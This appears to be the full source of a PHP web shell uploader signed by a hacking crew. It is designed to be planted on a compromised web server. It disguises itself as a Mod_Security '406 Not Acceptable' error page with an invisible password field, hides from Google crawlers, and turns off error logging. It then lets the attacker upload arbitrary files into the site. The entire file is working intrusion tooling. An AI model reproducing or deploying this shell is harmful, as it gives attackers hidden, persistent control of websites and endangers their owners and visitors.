406 Not Acceptable Private Uploader

<?php
  /*
  Recoded by K3RAMA7
  Black CyberSec Crew
  www.fb.com/BlackCyberSec.Gov.My
  */
$auth_pass = "734fb012076861fa8d5af864ac1da63a"; //Black CyberSec Crew
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>
<title>Not Acceptable!</title>
<h1>Not Acceptable!</h1>
<p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p>

    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post>
    <input type=password name=pass>
    </form></center>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

?>
  <html>
<head>

<title>K3RAMA7 Uploader</title>
<body bgcolor="black">
    <center>
    <img src="http://i1368.photobucket.com/albums/ag193/Keramat_Durjana/eef005ed-bca0-4c3d-9d45-cb7a7b2ffed4_zps9132fac1.jpg">
    </center>
</body>
</head>
       <p align="center">
           <font color="black">
    <center> <?php
echo '<font color="#11f0f3"><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"></font>';
echo '<font color="#11f0f3"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></font>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b><font face="Iceland" color="11f0f3" size="4px">File Uploaded!</font></b><br><br>'; }
    else { echo '<b><font face="Iceland" color="11f0f3">File Upload Failed!</font></b><br><br>'; }
}
?></br></br></hr>
</center></html>